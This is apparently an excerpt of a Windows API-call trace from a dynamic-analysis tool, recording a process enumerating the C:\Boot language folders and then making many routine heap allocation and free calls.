	[0134.279] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.279] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0134.279] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0134.279] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0134.279] FindClose (in: hFindFile=0x5dd340 | out: hFindFile=0x5dd340) returned 1
	[0134.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.279] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0134.279] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0134.279] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd440
	[0134.280] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.280] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0134.280] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0134.280] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0134.280] FindClose (in: hFindFile=0x5dd440 | out: hFindFile=0x5dd440) returned 1
	[0134.280] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.280] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0134.280] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0134.280] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd680
	[0134.281] FindNextFileW (in: hFindFile=0x5dd680, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.281] FindNextFileW (in: hFindFile=0x5dd680, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0134.281] FindNextFileW (in: hFindFile=0x5dd680, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0134.281] FindNextFileW (in: hFindFile=0x5dd680, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0134.281] FindClose (in: hFindFile=0x5dd680 | out: hFindFile=0x5dd680) returned 1
	[0134.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0134.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.467] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0134.467] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.471] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.471] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.472] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.472] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38a0e08 | out: hHeap=0x4f0000) returned 1
	[0134.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38a0e08 | out: hHeap=0x4f0000) returned 1
	[0134.481] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38a0e08 | out: hHeap=0x4f0000) returned 1
	[0134.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38a0e08 | out: hHeap=0x4f0000) returned 1
	[0134.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38a0e08 | out: hHeap=0x4f0000) returned 1
	[0134.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0134.513] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4550070 | out: hHeap=0x4f0000) returned 1
	[0134.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.640] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.645] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.645] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.658] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.666] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x548d08, Size=0x4000) returned 0x394aec0
	[0134.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0135.143] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0135.143] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0135.143] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0135.143] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0135.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0136.243] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0136.243] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0136.243] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4550070 | out: hHeap=0x4f0000) returned 1
	[0136.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0136.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4550070 | out: hHeap=0x4f0000) returned 1
	[0136.248] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0136.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4550070 | out: hHeap=0x4f0000) returned 1
	[0136.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4550070 | out: hHeap=0x4f0000) returned 1
	[0136.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4550070 | out: hHeap=0x4f0000) returned 1
	[0136.265] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4550070 | out: hHeap=0x4f0000) returned 1
	[0136.266] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0136.266] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4550070 | out: hHeap=0x4f0000) returned 1
	[0136.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0136.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4550070 | out: hHeap=0x4f0000) returned 1
	[0136.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4550070 | out: hHeap=0x4f0000) returned 1
	[0136.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4550070 | out: hHeap=0x4f0000) returned 1
	[0136.273] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45a20a0 | out: hHeap=0x4f0000) returned 1
	[0136.273] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0136.274] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4550070 | out: hHeap=0x4f0000) returned 1
	[0136.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0136.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0136.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0136.282] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45a20a0 | out: hHeap=0x4f0000) returned 1
	[0136.282] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45a20a0 | out: hHeap=0x4f0000) returned 1
	[0136.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0136.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45a20a0 | out: hHeap=0x4f0000) returned 1
	[0136.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4550070 | out: hHeap=0x4f0000) returned 1
	[0136.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45a20a0 | out: hHeap=0x4f0000) returned 1
	[0136.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0136.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0136.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0136.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0136.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0136.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0136.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4598098 | out: hHeap=0x4f0000) returned 1
	[0136.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4598098 | out: hHeap=0x4f0000) returned 1
	[0136.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4598098 | out: hHeap=0x4f0000) returned 1
	[0136.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4588090 | out: hHeap=0x4f0000) returned 1
	[0136.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4598098 | out: hHeap=0x4f0000) returned 1
	[0136.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4598098 | out: hHeap=0x4f0000) returned 1
	[0136.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4598098 | out: hHeap=0x4f0000) returned 1
	[0136.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4598098 | out: hHeap=0x4f0000) returned 1
	[0136.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4598098 | out: hHeap=0x4f0000) returned 1
	[0136.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4598098 | out: hHeap=0x4f0000) returned 1
	[0136.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0136.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4598098 | out: hHeap=0x4f0000) returned 1
	[0136.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4598098 | out: hHeap=0x4f0000) returned 1
	[0136.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4598098 | out: hHeap=0x4f0000) returned 1
	[0136.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4598098 | out: hHeap=0x4f0000) returned 1
	[0136.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4588090 | out: hHeap=0x4f0000) returned 1
	[0136.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0136.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0136.712] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0136.721] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0136.991] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0137.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0137.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0137.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0138.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0138.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0138.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0138.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
